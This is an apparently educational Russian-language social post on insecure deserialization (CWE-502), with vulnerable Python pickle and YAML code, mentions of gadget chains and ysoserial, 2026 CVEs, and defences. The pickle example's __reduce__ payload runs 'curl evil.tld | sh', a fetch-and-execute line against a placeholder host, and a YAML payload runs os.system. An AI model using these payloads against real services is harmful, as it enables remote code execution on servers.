💣 Небезопасная десериализация или удаленное выполнение кода

Кратко: Небезопасная десериализация (Insecure Deserialization, CWE-502) — это уязвимость, которая превращает безобидную операцию восстановления объекта в Remote Code Execution (RCE). Вы сохранили объект в файл или передали по сети. Приложение восстанавливает его обратно, но злоумышленник подменил данные — и вместо обычного объекта создаётся вредоносный, который запускает команды на сервере. Уязвимость выделена в отдельную категорию OWASP Top 10 и регулярно приводит к выполнению произвольного кода.

⚙️ Как это работает: сериализация и десериализация Сериализация — превращение объекта в строку или байты для передачи или хранения. Десериализация — обратное восстановление объекта из этих данных. Проблема: многие языки позволяют десериализовать произвольные типы — при десериализации вызываются конструкторы, сеттеры и методы жизненного цикла объекта. Злоумышленник создаёт вредоносный объект, который при восстановлении запускает системные команды.

Пример на Python с pickle:

# Уязвимый код import pickle def load_session(blob: bytes): return pickle.loads(blob) # атакующий контролирует blob

# Вредоносный объект import os class Malicious: def __reduce__(self): return (os.system, ('curl evil.tld | sh',))

При pickle.loads() злоумышленник может встроить объект с методом __reduce__, который укажет Python выполнить команду curl evil.tld | sh.

🧩 Опасность YAML YAML — формат конфигураций (Kubernetes, Ansible, CI/CD). Многие парсеры позволяют создавать объекты при десериализации. Пример на Python:

import yaml # Уязвимый код (yaml.load) malicious = "!!python/object/apply:os.system ['calc.exe']" yaml.load(malicious, Loader=yaml.FullLoader)

При yaml.load() выполняется os.system('calc.exe'). В Java аналогично работает SnakeYAML, позволяя загружать удалённые классы.

🔗 Gadget Chains (Цепочки гаджетов) Атакующий редко находит один метод, выполняющий его команду. Вместо этого он собирает цепочку классов на classpath, чьи побочные эффекты при десериализации складываются в выполнение кода. Инструмент ysoserial (Java) автоматизирует сборку таких цепочек для популярных библиотек.

🚨 Реальные примеры (2026) Уязвимость не теряет актуальности. Критические CVE в 2026 году находят в разных экосистемах: Java: · Spring Integration (CVE-2026-47864): десериализация через SerializingHttpMessageConverter позволяет RCE · Spring Cloud Stream (CVE-2026-59306): приём сообщений от брокера без ограничений типов → RCE .NET: · CVE-2026-50649: уязвимость в .NET Framework позволяет выполнить код локально · BinaryFormatter удалён из .NET 9; замена — System.Text.Json PHP (CMS): · SOY CMS (CVE-2026-78032): десериализация в CMS позволяет выполнить код

🛡️ Как защититься 1. Не десериализуйте данные от пользователей в «кодонесущих» форматах (pickle, unserialize(), Java-сериализация, BinaryFormatter). 2. Используйте data-only форматы: JSON, Protocol Buffers, CBOR с валидацией схемы. 3. Если не избежать — белый список типов: · Java: ObjectInputFilter · .NET: SerializationBinder 4. Защита целостности: подписывайте или HMAC-сериализованные данные до обработки. 5. Минимизация библиотек: каждая библиотека на classpath — потенциальный гаджет; удаляйте неиспользуемые. 6. Изоляция: обработка десериализации в процессе с минимальными правами. Главный вывод: Десериализация — это не просто «распаковка данных». Это восстановление объектов с вызовом их методов. Злоумышленник, контролирующий данные, может заставить объекты выполнить его код. Одно неверное решение разработчика превращает восстановление данных в полную компрометацию сервера.

#небезопаснаядесериализация #insecuredeserialization #java #python #dotnet #rce #cwe502 #owasp #infosec #кибербезопасность

💣 Небезопасная десериализация или удаленное выполнение кода | Сетка — социальная сеть от hh.ru